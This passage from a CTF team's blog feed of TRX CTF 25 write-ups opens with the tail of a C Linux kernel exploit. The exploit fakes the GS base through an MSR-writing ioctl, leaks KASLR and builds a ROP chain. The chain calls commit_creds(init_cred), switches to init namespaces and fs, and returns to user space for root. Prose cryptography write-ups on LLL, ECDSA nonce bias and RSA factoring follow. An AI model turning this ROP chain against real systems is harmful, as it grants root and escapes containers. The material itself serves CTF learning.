</span></span><span style="display:flex;"><span>	kgsbase = (<span style="color:#fc5fa3">char</span>*) <span style="color:#41a1c0">mmap</span>((<span style="color:#fc5fa3">void</span>* ) KERNEL_GS, GS_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS | MAP_POPULATE, -<span style="color:#d0bf69">1</span>, <span style="color:#d0bf69">0</span>);
</span></span><span style="display:flex;"><span>	kbase = (ul*) <span style="color:#41a1c0">mmap</span>(<span style="color:#d0a8ff">NULL</span>, <span style="color:#d0bf69">0x1000</span>, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS | MAP_POPULATE, -<span style="color:#d0bf69">1</span>, <span style="color:#d0bf69">0</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">int</span> pid =  <span style="color:#41a1c0">fork</span>();
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> (!pid){
</span></span><span style="display:flex;"><span>		<span style="color:#41a1c0">pin_cpu</span>(<span style="color:#d0bf69">1</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#41a1c0">memset</span>(fake_stack, <span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">0x2000</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#41a1c0">memset</span>(kbase, <span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">0x1000</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#41a1c0">memset</span>(kgsbase, <span style="color:#d0bf69">0</span>, GS_SIZE);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		*(ul*) &amp;kgsbase[<span style="color:#d0bf69">0x2be40</span>] = (ul) kgsbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;kgsbase[<span style="color:#d0bf69">0x6004</span>] = (ul) fake_stack +  <span style="color:#d0bf69">0x1000</span>;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;kgsbase[<span style="color:#d0bf69">0x2be58</span>] = (ul) fake_stack +  <span style="color:#d0bf69">0x1000</span>;
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">char</span>* chain = fake_stack+<span style="color:#d0bf69">0x1000</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		*&amp;kbase[<span style="color:#d0bf69">1</span>] =  <span style="color:#d0bf69">1</span>;
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">while</span> (!*kbase){} <span style="color:#6c7986">// wait for parent to overwrite MSR_KERNEL_GS_BASE and leak kaslr
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span>		<span style="color:#6c7986">// set correct gs
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1000</span>] = POP_RDI +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1008</span>] = (ul) &amp;fake_stack[<span style="color:#d0bf69">0x1068</span>];
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1010</span>] = POP_RSI +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1018</span>] = PAGE_OFFSET_BASE +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1020</span>] = POP_RCX +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1028</span>] =  <span style="color:#d0bf69">8</span>;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1030</span>] = REP_MOVS_ALTERNATIVE +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1038</span>] = POP_RSI +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1040</span>] = PHYS_GS;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1048</span>] = POP_RDX +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1050</span>] = (ul) &amp;fake_stack[<span style="color:#d0bf69">0x1068</span>] - PHYS_GS -  <span style="color:#d0bf69">1</span>;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1058</span>] = ADD_DWORD_RSIRDX1_ESI +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1060</span>] = POP_RDX +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1068</span>] =  <span style="color:#d0bf69">0x6969696969696969</span>;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1070</span>] = POP_RCX +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1078</span>] = MSR_KERNEL_GS_BASE;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1080</span>] = WRMSR +  *kbase;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#6c7986">// commit_creds(init_cred)
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1088</span>] = POP_RDI +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1090</span>] = INIT_CRED +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1098</span>] = COMMIT_CREDS +  *kbase;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#6c7986">// task = find_task_by_vpid(1)
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x10a0</span>] = POP_RDI +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x10a8</span>] =  <span style="color:#d0bf69">1</span>;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x10b0</span>] = FIND_TASK_BY_VPID +  *kbase;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#6c7986">// switch_task_namespaces(task, init_nsproxy)
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x10b8</span>] = POP_RDI +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x10c0</span>] = (ul) &amp;fake_stack[<span style="color:#d0bf69">0x10e8</span>];
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x10c8</span>] = POP_RCX +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x10d0</span>] =  <span style="color:#d0bf69">8</span>;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x10d8</span>] = MOV_QWORD_RDI_RAX +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x10e0</span>] = POP_RDI +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x10e8</span>] =  <span style="color:#d0bf69">0x6969696969696969</span>;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x10f0</span>] = POP_RSI +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x10f8</span>] = INIT_NSPROXY +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1100</span>] = SWITCH_TASK_NAMESPACES +  *kbase;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#6c7986">// new_fs = copy_fs_struct(init_fs)
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1108</span>] = POP_RDI +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1110</span>] = INIT_FS +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1118</span>] = COPY_FS_STRUCT +  *kbase;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#6c7986">// save &#34;somewhere&#34; new_fs
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1120</span>] = POP_RDI +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1128</span>] = (ul) &amp;fake_stack[<span style="color:#d0bf69">0x1f00</span>];
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1130</span>] = POP_RCX +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1138</span>] =  <span style="color:#d0bf69">8</span>;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1140</span>] = MOV_QWORD_RDI_RAX +  *kbase;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#6c7986">// task = find_task_by_vpid(getpid())
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1148</span>] = POP_RDI +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1150</span>] = (ul) parent_child;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1158</span>] = FIND_TASK_BY_VPID +  *kbase;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#6c7986">// current-&gt;fs = newfs
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1160</span>] = POP_RDI +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1168</span>] = (ul) &amp;fake_stack[<span style="color:#d0bf69">0x11b8</span>];
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1170</span>] = POP_RCX +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1178</span>] =  <span style="color:#d0bf69">8</span>;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1180</span>] = MOV_QWORD_RDI_RAX +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1188</span>] = POP_RSI +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1190</span>] =  <span style="color:#d0bf69">0x760</span>;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1198</span>] = POP_RDX +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x11a0</span>] = (ul) &amp;fake_stack[<span style="color:#d0bf69">0x11b8</span>] -  <span style="color:#d0bf69">0x760</span>  -  <span style="color:#d0bf69">1</span>;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x11a8</span>] = ADD_DWORD_RSIRDX1_ESI +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x11b0</span>] = POP_RDI +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x11b8</span>] =  <span style="color:#d0bf69">0x6969696969696969</span>;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x11c0</span>] = POP_RSI +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x11c8</span>] = (ul) &amp;fake_stack[<span style="color:#d0bf69">0x1f00</span>];
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x11d0</span>] = POP_RCX +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x11d8</span>] =  <span style="color:#d0bf69">8</span>;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x11e0</span>] = REP_MOVS_ALTERNATIVE +  *kbase;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#6c7986">// ret2user
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x11e8</span>] = SWAPGS_AND_SHIT +  *kbase;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x11f0</span>] =  <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x11f8</span>] =  <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1200</span>] = (ul) &amp;win;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1208</span>] =  <span style="color:#d0bf69">0x33</span>;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1210</span>] =  <span style="color:#d0bf69">0x206</span>;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1218</span>] = rsp;
</span></span><span style="display:flex;"><span>		*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0x1220</span>] =  <span style="color:#d0bf69">0x2b</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">while</span> (<span style="color:#d0bf69">1</span>){
</span></span><span style="display:flex;"><span>			*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0xf50</span>] = POP_RSP +  *kbase;
</span></span><span style="display:flex;"><span>			*(ul*) &amp;fake_stack[<span style="color:#d0bf69">0xf58</span>] = (ul) chain;
</span></span><span style="display:flex;"><span>		};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">return</span>  <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">while</span> (!*&amp;kbase[<span style="color:#d0bf69">1</span>]){} <span style="color:#6c7986">// wait for child to fake gs
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">asm</span>  <span style="color:#fc5fa3">volatile</span> (
</span></span><span style="display:flex;"><span>		<span style="color:#fc6a5d">&#34;.intel_syntax  noprefix</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc6a5d">&#34;push  0x40206</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc6a5d">&#34;popf</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc6a5d">&#34;.att_syntax  prefix&#34;</span>
</span></span><span style="display:flex;"><span>		:
</span></span><span style="display:flex;"><span>		:
</span></span><span style="display:flex;"><span>		:
</span></span><span style="display:flex;"><span>	);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#41a1c0">ioctl</span>(fd, MSR_KERNEL_GS_BASE, KERNEL_GS);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#41a1c0">naked_syscall</span>();
</span></span><span style="display:flex;"><span>	*kbase =  *(ul*) &amp;fake_stack[<span style="color:#d0bf69">0xf50</span>] -  <span style="color:#d0bf69">0x120012f</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">while</span> (<span style="color:#d0bf69">1</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#41a1c0">naked_syscall</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#41a1c0">stop</span>(<span style="color:#fc6a5d">&#34;finished&#34;</span>);
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">return</span>  <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>]]></content></item><item><title>TRX CTF 25 - babyDLP</title><link>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-babydlp/</link><pubDate>Wed, 26 Feb 2025 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-babydlp/</guid><description>&lt;p>This challenge has two main parts:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Recovering &lt;code>d&lt;/code>&lt;/strong> (straightforward)&lt;/li>
&lt;li>&lt;strong>Recovering the flag&lt;/strong> (a bit more challenging)&lt;/li>
&lt;/ul>
&lt;h2 id="recovering-d">Recovering &lt;code>d&lt;/code>&lt;/h2>
&lt;p>This is a classic &lt;strong>biased-nonce attack&lt;/strong>, which can be solved using LLL.&lt;/p>
&lt;p>We are given the equations:&lt;/p>
$$
R = (k_1 + k_2) \cdot G
$$$$
s = \frac{h \cdot k_2 + d \cdot R.x}{k_1}
$$&lt;p>where &lt;code>k1&lt;/code> and &lt;code>k2&lt;/code> are two &lt;strong>32-bit random values&lt;/strong>.
Each time we make a signing query, we get the equation:&lt;/p></description><content type="html"><![CDATA[<p>This challenge has two main parts:</p>
<ul>
<li><strong>Recovering <code>d</code></strong> (straightforward)</li>
<li><strong>Recovering the flag</strong> (a bit more challenging)</li>
</ul>
<h2 id="recovering-d">Recovering <code>d</code></h2>
<p>This is a classic <strong>biased-nonce attack</strong>, which can be solved using LLL.</p>
<p>We are given the equations:</p>
$$
R = (k_1 + k_2) \cdot G
$$$$
s = \frac{h \cdot k_2 + d \cdot R.x}{k_1}
$$<p>where <code>k1</code> and <code>k2</code> are two <strong>32-bit random values</strong>.
Each time we make a signing query, we get the equation:</p>
$$
s \cdot k_1 = h \cdot k_2 + d \cdot R.x
$$<p>Here, <code>k1</code> and <code>k2</code> are the unknowns, and <code>d</code> is the secret key we want to extract.</p>
<p>Since both <code>k1</code> and <code>k2</code> are small (32-bit), we can <strong>solve this as a system of linear equations with small unknowns</strong> using LLL.</p>
<p>For details on this I&rsquo;ve written a blog post here:
<a href="https://magicfrank00.github.io/writeups/posts/lll-to-solve-linear-equations/">https://magicfrank00.github.io/writeups/posts/lll-to-solve-linear-equations/</a></p>
<h2 id="recovering-the-flag">Recovering the Flag</h2>
<p>At this point, we are given $ \text{flag} \mod \text{order}$</p>
<p>The issue is that the <strong>flag is around 350 bits</strong>, while the <strong>order is only 195 bits</strong>. Brute-forcing the missing 150 bits isn’t feasible.</p>
<p>After writing this challenge, I realized there&rsquo;s an <strong>extremely similar</strong> challenge by Neobeo. Instead of re-explaining the solution, I’ll just link his excellent writeup here:</p>
<p><a href="https://web.archive.org/web/20240412075022/https://demo.hedgedoc.org/s/DnzmwnCd7">https://web.archive.org/web/20240412075022/https://demo.hedgedoc.org/s/DnzmwnCd7</a></p>
<h3 id="overview-on-our-solution">Overview on our solution</h3>
<p>We can represent the flag as a sum of its character values multiplied by powers of 256:</p>
$$
c_0 \cdot 256^{43} + c_1 \cdot 256^{42} + \dots + c_{42} \cdot 256 + c_{43}
$$<p>where each $c_i$ corresponds to a character in the flag.</p>
<p>We&rsquo;re given this equation, but with an <strong>extra modulus term</strong>, so we end up with:</p>
$$
c_0 \cdot 256^{43} + c_1 \cdot 256^{42} + \dots + c_{42} \cdot 256 + c_{43} = m + k \cdot p
$$<p>
where:</p>
<ul>
<li>$m$ is the value we are given.</li>
<li>$p$ is the order of the curve (modulus).</li>
<li>$c_i$ are the characters of the flag.</li>
</ul>
<p>We can apply a few tricks to reduce the size of the unknowns and then solve with LLL:</p>
<ol>
<li>
<p><strong>We know the flag format</strong> starts with <code>TRX{</code>, so we can simply subtract this known prefix from the equation. (same for <code>}</code>)</p>
</li>
<li>
<p><strong>We know the remaining flag characters</strong> are mostly <strong>lowercase ASCII letters</strong>, meaning each $c_i$ is close to the <strong>average lowercase ASCII value (≈106)</strong>.
So we rewrite the equation as:</p>
$$
   (c_0 + 106) \cdot 256^{43} + (c_1 + 106) \cdot 256^{42} + \dots + (c_{42} + 106) \cdot 256 + (c_{43} + 106) = m + k \cdot p
   $$<p>Now, each unknown $c_i$ is <strong>very close to 0</strong> (within about ±15), which makes LLL effective.</p>
</li>
<li>
<p><strong>Brute-forcing for more precision</strong>:
If we brute-force just <strong>the first unknown character</strong>, we reduce the problem complexity by another <strong>5 bits</strong>, making the solution even more precise.</p>
</li>
</ol>
]]></content></item><item><title>TRX CTF 25 - Brainrot</title><link>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-brainrot/</link><pubDate>Wed, 26 Feb 2025 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-brainrot/</guid><description>&lt;p>We&amp;rsquo;re given three equations and need to recover a flag, which we can split into five parts:&lt;/p>
$$
f_0, f_1, f_2, f_3, f_4
$$&lt;p>These equations represent &lt;strong>the evaluation of a polynomial&lt;/strong> at specific points. The unknowns (the flag parts) are the &lt;strong>coefficients&lt;/strong> of this polynomial. The given values are just different points where the polynomial has been evaluated:&lt;/p>
$$
P(x) = \sum_{i=0}^{4} \mathrm{rot}_{8000}(f_i) \cdot x^i
$$&lt;p>We also have two modulus values that play a role in how the results are structured:&lt;/p></description><content type="html"><![CDATA[<p>We&rsquo;re given three equations and need to recover a flag, which we can split into five parts:</p>
$$
f_0, f_1, f_2, f_3, f_4
$$<p>These equations represent <strong>the evaluation of a polynomial</strong> at specific points. The unknowns (the flag parts) are the <strong>coefficients</strong> of this polynomial. The given values are just different points where the polynomial has been evaluated:</p>
$$
P(x) = \sum_{i=0}^{4} \mathrm{rot}_{8000}(f_i) \cdot x^i
$$<p>We also have two modulus values that play a role in how the results are structured:</p>
$$
m_1 = \text{b2l}(b'\text{cant_give_you_everything}')
$$$$
m_2 = \text{b2l}(b'\text{only_half!!!}')
$$<h2 id="the-given-equations">The Given Equations</h2>
<p>The challenge gives us three polynomial evaluations, but with a <strong>double modulo operation</strong> applied. First, the result is reduced modulo $m_1$, and then <strong>that result</strong> is further reduced modulo $m_2$:</p>
$$
\begin{aligned}
    P(0x\text{deadbeef}) \mod m_1 \mod m_2 &= r_1 \\
    P(13371337) \mod m_1 \mod m_2 &= r_2 \\
    P(0x\text{cafebabe}) \mod m_1 \mod m_2 &= r_3
\end{aligned}
$$<h2 id="mathrmrot_8000">$\mathrm{rot}_{8000}$</h2>
<p>The function $\mathrm{rot}_{8000}$ applies a specific transformation that encodes each flag part using UTF-16. It can be expressed as:</p>
$$
\mathrm{rot}_{8000}(\text{'FLAG'}).encode('utf-16') =
0xfffe0000000000000000 +
\sum_{i=0}^{3} ((0x40 + \text{FLAG}[i]) \times 256 + 0x1f) \times 256^{2(3-i)}
$$<p>(This can be recovered just by playing with this function a bit)</p>
<h2 id="working-around-the-moduli">Working Around the Moduli</h2>
<p>To simplify things, we introduce two helper variables $k_1$ and $k_2$:</p>
$$
\text{eq} - k_1 \cdot m_1 - k_2 \cdot m_2 = \text{res}
$$<p>Since $k_2$ is roughly $m_1 / m_2$, we end up with a system of three equations where the solutions are small and bounded.</p>
<h2 id="solving-with-lll">Solving with LLL</h2>
<p>At this point, solving the equations comes down to <strong>finding small solutions to a linear system</strong>. This is exactly what LLL is good for.</p>
<p>A <strong>great explanation</strong> of how to use LLL for problems like this can be found here:
<a href="https://magicfrank00.github.io/writeups/posts/lll-to-solve-linear-equations/">https://magicfrank00.github.io/writeups/posts/lll-to-solve-linear-equations/</a></p>
]]></content></item><item><title>TRX CTF 25 - factor.com</title><link>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-factor.com/</link><pubDate>Wed, 26 Feb 2025 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-factor.com/</guid><description>&lt;p>This challenge is similar to standard RSA, except that the modulus $N$ is a product of multiple primes, some of which can be &lt;strong>very small&lt;/strong>.&lt;/p>
&lt;h3 id="exploiting-the-structure">Exploiting the Structure&lt;/h3>
&lt;p>Instead of waiting for all primes to be small (which could take an impractical amount of time), we can &lt;strong>extract small pieces of information at a time&lt;/strong> by factoring parts of $N$.&lt;/p>
&lt;p>If we manage to extract even &lt;strong>one small prime factor&lt;/strong> $q$ of $N$, we can immediately start recovering the flag:&lt;/p></description><content type="html"><![CDATA[<p>This challenge is similar to standard RSA, except that the modulus $N$ is a product of multiple primes, some of which can be <strong>very small</strong>.</p>
<h3 id="exploiting-the-structure">Exploiting the Structure</h3>
<p>Instead of waiting for all primes to be small (which could take an impractical amount of time), we can <strong>extract small pieces of information at a time</strong> by factoring parts of $N$.</p>
<p>If we manage to extract even <strong>one small prime factor</strong> $q$ of $N$, we can immediately start recovering the flag:</p>
<h3 id="breaking-it-down">Breaking It Down</h3>
<p>We are given the standard RSA equation:</p>
$$
\text{flag}^e \mod N = c
$$<p>If we find a small prime <strong>$q$</strong> that divides $N$, we can reduce the equation modulo $q$:</p>
$$
c \mod q = (\text{flag}^e \mod N) \mod q = \text{flag}^e \mod q
$$<p>Since $e$ is known, we can compute the <strong>$e$-th root modulo $q$</strong> to recover:</p>
$$
\text{flag} \mod q
$$<h3 id="reconstructing-the-full-flag">Reconstructing the Full Flag</h3>
<p>By repeating this process for multiple small prime factors, we collect a system of modular equations:</p>
$$
\text{flag} \mod q_1, \quad \text{flag} \mod q_2, \quad \dots, \quad \text{flag} \mod q_n
$$<p>Finally, using the <strong>Chinese Remainder Theorem (CRT)</strong>, we reconstruct the original flag.</p>
]]></content></item><item><title>TRX CTF 25 - factordb.com</title><link>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-factordb.com/</link><pubDate>Wed, 26 Feb 2025 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-factordb.com/</guid><description>&lt;p>&lt;strong>Disclaimer:&lt;/strong> It&amp;rsquo;s &lt;strong>magicfrank&lt;/strong> speaking at &lt;strong>20 Feb 00:57 2025&lt;/strong>. I really hope nobody actually uploads the factorization to &lt;strong>factordb.com&lt;/strong>, but let’s see.&lt;/p>
&lt;h2 id="understanding-the-leak">Understanding the Leak&lt;/h2>
&lt;p>This challenge is a standard RSA with a leak where we have to factorize the modulus.&lt;/p>
&lt;p>The function generating the leak is particularly bad because &lt;strong>each bit of leak_i only depends on the lower (least significant) bits of $p$ and $q$&lt;/strong>.&lt;/p>
&lt;p>This means:&lt;/p>
&lt;ul>
&lt;li>$\text{LEAK} \mod 2$ only depends on $p \mod 2$ and $q \mod 2$.&lt;/li>
&lt;li>$\text{LEAK} \mod 2^2$ depends only on $p \mod 4$, $q \mod 4$.&lt;/li>
&lt;li>$\text{LEAK} \mod 2^3$ depends only on $p \mod 8$, $q \mod 8$.&lt;/li>
&lt;/ul>
&lt;p>Since each step &lt;strong>only depends on previously discovered bits&lt;/strong>, we can reconstruct $p$ and $q$ one bit at a time by trying all possible values and checking against both $N$ and the leak.&lt;/p></description><content type="html"><![CDATA[<p><strong>Disclaimer:</strong> It&rsquo;s <strong>magicfrank</strong> speaking at <strong>20 Feb 00:57 2025</strong>. I really hope nobody actually uploads the factorization to <strong>factordb.com</strong>, but let’s see.</p>
<h2 id="understanding-the-leak">Understanding the Leak</h2>
<p>This challenge is a standard RSA with a leak where we have to factorize the modulus.</p>
<p>The function generating the leak is particularly bad because <strong>each bit of leak_i only depends on the lower (least significant) bits of $p$ and $q$</strong>.</p>
<p>This means:</p>
<ul>
<li>$\text{LEAK} \mod 2$ only depends on $p \mod 2$ and $q \mod 2$.</li>
<li>$\text{LEAK} \mod 2^2$ depends only on $p \mod 4$, $q \mod 4$.</li>
<li>$\text{LEAK} \mod 2^3$ depends only on $p \mod 8$, $q \mod 8$.</li>
</ul>
<p>Since each step <strong>only depends on previously discovered bits</strong>, we can reconstruct $p$ and $q$ one bit at a time by trying all possible values and checking against both $N$ and the leak.</p>
<h2 id="recovering-the-factors">Recovering the Factors</h2>
<p>We recover $p$ and $q$ bit by bit using <strong>brute-force with constraints</strong>. We start with the least significant bit (LSB) and systematically build up to the full values.</p>
<h3 id="step-by-step-example">Step-by-Step Example</h3>
<ol>
<li>
<p><strong>Finding the first bit</strong></p>
<ul>
